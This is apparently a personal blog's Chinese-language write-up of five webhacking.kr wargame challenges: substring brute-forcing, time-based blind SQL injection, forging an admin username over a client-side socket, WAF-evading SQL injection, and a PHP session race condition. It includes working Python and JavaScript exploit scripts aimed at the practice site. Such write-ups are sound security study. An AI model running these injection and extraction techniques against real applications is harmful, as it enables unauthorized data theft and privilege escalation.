webhacking.kr 一天五題系列 XII

Albert Huang MED student | CS enthusiast

old-56

本題考點:子字串爆搜

題目給了一個 board,裡面有 guest 和 admin 的內容,但 admin 的內容點進去會是 access denied,但我們下面有一個欄位可以進行搜尋是不是內容的子字串,因此我們可以直接爆搜來找到裡面的內容。

其中因為 flag 的 prefix 為 FLAG{,測試一下確實可以搜尋到,因此直接使用它來進行爆搜。途中發現 %_ 會被用來當萬用字元,因此 _ 放到 % 的前一個順位(flag 中比 % 可能出現),而 % 放到最後。

使用 Python 實作:

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import string

flag = 'FLAG{'

while flag[-1] != '}':
for char in string.ascii_letters + '!"#$&\'()*+,-./:;<=>?@[\\]^`{|}~_%':
r = requests.post('https://webhacking.kr/challenge/web-33/index.php', data={'search': flag+char})
if 'admin' in r.text:
flag += char
print(flag)
break

執行後即可拿到 flag。

old-57

本題考點:Time-based Blind SQLi

是個輸入頁面,來看一下 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
include "../../config.php";
include "./flag.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 57</title>
</head>
<body>
<?php
$db = dbconnect();
if($_GET['msg'] && isset($_GET['se'])){
$_GET['msg'] = addslashes($_GET['msg']);
$_GET['se'] = addslashes($_GET['se']);
if(preg_match("/select|and|or|not|&|\||benchmark/i",$_GET['se'])) exit("Access Denied");
mysqli_query($db,"insert into chall57(id,msg,pw,op) values('{$_SESSION['id']}','{$_GET['msg']}','{$flag}',{$_GET['se']})");
echo "Done<br><br>";
if(rand(0,100) == 1) mysqli_query($db,"delete from chall57");
}
?>
<form method=get action=index.php>
<table border=0>
<tr><td>message</td><td><input name=msg size=50 maxlength=50></td></tr>
<tr><td>secret</td><td><input type=radio name=se value=1 checked>yes<br><br><input type=radio name=se value=0>no</td></tr>
<tr><td colspan=2 align=center><input type=submit></td></tr>
</table>
</form>
<br><br><a href=./?view_source=1>view-source</a>
</body>
</html>

又是一題 SQL injection,不過他不會輸出任何查詢內容,因此只能用 Time-based Blind SQL injection,而他的表達式中 msg 使用引號框起,會變成字串解析而非表達式,但 se 沒有,因此必須從 se 下手。來看一下 regex 的限制:

  • selectandornotbenchmark(評估資料庫在處理查詢時的執行效率、吞吐量及硬體瓶頸)
  • &|

沒有限制 ifsubstrsleep,所以一樣可以用 Time-based 找到 pw。秒數我則限制在 5.0 秒,避免設定過短導致網頁載入的誤差。

使用 Python 實作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import string
import time

def get_length(exp):
length = 0
while True:
payload = f"if(LENGTH(({exp}))={length},sleep(5.0),1)"
params = {'msg': 'm3t30r', 'se': payload}
start = time.time()
r = requests.get('https://webhacking.kr/challenge/web-34/index.php', params=params)
if 'Done' in r.text:
end = time.time()
if end - start >= 4:
return length
length += 1

def get_password(exp, length):
password = ''
for i in range(1, length+1):
for char in string.printable:
payload = f"if(SUBSTR(({exp}),{i},1)={hex(ord(char))},sleep(5.0),1)"
params = {'msg': 'm3t30r', 'se': payload}
start = time.time()
r = requests.get('https://webhacking.kr/challenge/web-34/index.php', params=params)
if 'Done' in r.text:
end = time.time()
if end - start >= 4:
print(end-start)
password += char
print(password)
break
return password

password_length = get_length('pw')
password = get_password('pw', password_length)

執行後即可拿到 pw

old-58

本題考點:客戶端授權驗證缺陷

這題是一個 console,來試試看 help 指令來看看有什麼指令可以用:

1
ls id flag help

可以看到有 flag 指令,執行看看:

1
permission denied... admin only!

可以發現我們沒有權限,來看一下 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<script>
$(function () {
var username = "guest";
var socket = io();
$('form').submit(function(e){
e.preventDefault();
socket.emit('cmd',username+":"+$('#m').val());
$('#m').val('');
return false;
});
socket.on('cmd', function(msg){
$('#messages').append($('<li>').text(msg));
});
});
</script>

可以發現它用 javascript 的 socket 來實作資料提取,但我們目前是 guest,因此可以用這段 code 來動手腳作為 admin 拿到 flag。使用 console 即可解決:

1
2
3
4
5
6
7
var username = "admin";
var socket = io();
var cmd = "flag";
socket.emit('cmd',username+":"+cmd);
socket.on('cmd', function(msg){
console.log(msg);
});

執行後即可獲得 flag。

old-59

本題考點:SQLi with WAF

這題給了一個輸入頁面,來看一下 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
$db = dbconnect();
if($_POST['lid'] && isset($_POST['lphone'])){
$_POST['lid'] = addslashes($_POST['lid']);
$_POST['lphone'] = addslashes($_POST['lphone']);
$result = mysqli_fetch_array(mysqli_query($db,"select id,lv from chall59 where id='{$_POST['lid']}' and phone='{$_POST['lphone']}'"));
if($result['id']){
echo "id : {$result['id']}<br>lv : {$result['lv']}<br><br>";
if($result['lv'] == "admin"){
mysqli_query($db,"delete from chall59");
solve(59);
}
echo "<br><a href=./?view_source=1>view-source</a>";
exit();
}
}
if($_POST['id'] && isset($_POST['phone'])){
$_POST['id'] = addslashes($_POST['id']);
$_POST['phone'] = addslashes($_POST['phone']);
if(strlen($_POST['phone'])>=20) exit("Access Denied");
if(preg_match("/admin/i",$_POST['id'])) exit("Access Denied");
if(preg_match("/admin|0x|#|hex|char|ascii|ord|select/i",$_POST['phone'])) exit("Access Denied");
mysqli_query($db,"insert into chall59 values('{$_POST['id']}',{$_POST['phone']},'guest')");
}
?>
<html><head><title>Challenge 59</title></head><body>
<form method=post>
<table border=1>
<tr><td></td><td>ID</td><td>PHONE</td><td></td></tr>
<tr><td>JOIN</td><td><input name=id></td><td><input name=phone></td><td><input type=submit></td></tr>
<tr><td>LOGIN</td><td><input name=lid></td><td><input name=lphone></td><td><input type=submit></td></tr>
</form>
<br>
<a href=./?view_source=1>view-source</a>
</body></html>

又是一題 SQL injection,而我們的目標是讓 lvguest 變成 admin,在登入時即會過關。

在註冊的地方可以發現,我們可以注入的地方在 idphone,但可以看到它在 phone 的地方沒有引號,因此可以執行 expression,我們可以用 reverse 讓最後的 guest 被替代為 reverse(id),就不會需要在注入時輸入 admin 而觸碰到 regex 限制。

構造表達式如下:

1
2
insert into chall59 values('nimda',1,reverse(id)),(1,1,'guest')
= insert into chall59 values('nimda',1,'admin'),(1,1,'guest')

接著使用 nimda:1 登入即可。

old-60

本題考點:Race Condition、PHP Session Blocking

進入頁面之後會顯示:

1
2
Your idx is 65051
Access Denied

來看一下 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
login_chk();
echo "Your idx is {$_SESSION['idx']}<hr>";
if(!is_numeric($_COOKIE['PHPSESSID'])) exit("Access Denied<br><a href=./?view_source=1>view-source</a>");
sleep(1);
if($_GET['mode']=="auth"){
echo("Auth~<br>");
$result = file_get_contents("./readme/{$_SESSION['idx']}.txt");
if(preg_match("/{$_SESSION['idx']}/",$result)){
echo("Done!");
unlink("./readme/{$_SESSION['idx']}.txt");
solve(60);
exit();
}
}
$p = fopen("./readme/{$_SESSION['idx']}.txt","w");
fwrite($p,$_SESSION['idx']);
fclose($p);
if($_SERVER['REMOTE_ADDR']!="127.0.0.1"){
sleep(1);
unlink("./readme/{$_SESSION['idx']}.txt");
}
?>
<html><head><title>Challenge 60</title></head><body><a href=./?view_source=1>view-source</a></body></html>

是一個讀檔的挑戰,如果送出 mode=auth 時,它會驗證 "./readme/{$_SESSION['idx']}.txt 的內容是不是符合自己的 idx

在非 auth 的情況下,則會建立一個 "./readme/{$_SESSION['idx']}.txt 並寫入自己的 idx,若 ip 不是 127.0.0.1 的話,則會在 1 秒後讓使用者無法讀取這個文件。

但因為有 1 秒的時間,因此可以用 race condition 在同一秒內讀取內容。此外,它限制 PHPSESSID 必須為數字組成,因此我們可以開兩個無痕視窗後,將 PHPSESSID 設為兩個不同的數字(因為同一個 SESSION 會等前一個工作執行完才開始,我們需要同時進行),並且在一秒內驗證即可過關。

也可以用 Python 實作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
import threading
import time

url = "https://webhacking.kr/challenge/web-37/"

def login1(): # need to login first
cookies = {"PHPSESSID": "123456789"}
credential = {'id': 'M3t30r', 'pw': '<redacted>'}
r = requests.post('https://webhacking.kr/login.php?login', json=credential, cookies=cookies)
print(r.text)

def login2(): # need to login first
cookies = {"PHPSESSID": "1234567890"}
credential = {'id': 'M3t30r', 'pw': '<redacted>'}
r = requests.post('https://webhacking.kr/login.php?login', json=credential, cookies=cookies)
print(r.text)

def create_file():
cookies = {"PHPSESSID": "123456789"}
requests.get(url, cookies=cookies)

def auth_file():
cookies = {"PHPSESSID": "1234567890"}
r = requests.get(url, params={'mode':'auth'}, cookies=cookies)
print(r.text)

login1()
login2()

t1 = threading.Thread(target=create_file)
t1.start()

time.sleep(0.5)

t2 = threading.Thread(target=auth_file)
t2.start()

t1.join()
t2.join()
  • Title: webhacking.kr 一天五題系列 XII
  • Author: Albert Huang
  • Created at : 2026-08-15 14:41:13
  • Updated at : 2026-08-15 15:50:51
  • Link: https://blog.albert-web.tw/2026/08/15/webhacking-writeup-12/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
webhacking.kr 一天五題系列 XII